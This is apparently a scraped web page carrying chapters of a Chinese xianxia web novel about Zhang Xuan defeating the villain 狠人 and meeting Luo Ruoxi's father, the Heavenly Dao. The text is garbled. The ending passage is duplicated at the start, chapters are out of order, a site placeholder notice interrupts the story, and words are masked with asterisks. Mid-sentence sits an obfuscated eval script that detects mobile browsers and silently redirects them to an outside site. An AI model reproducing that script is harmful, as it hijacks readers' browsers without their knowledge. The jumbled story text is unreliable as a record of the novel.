“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第三百五十八章 放长线钓大鱼 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136100|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 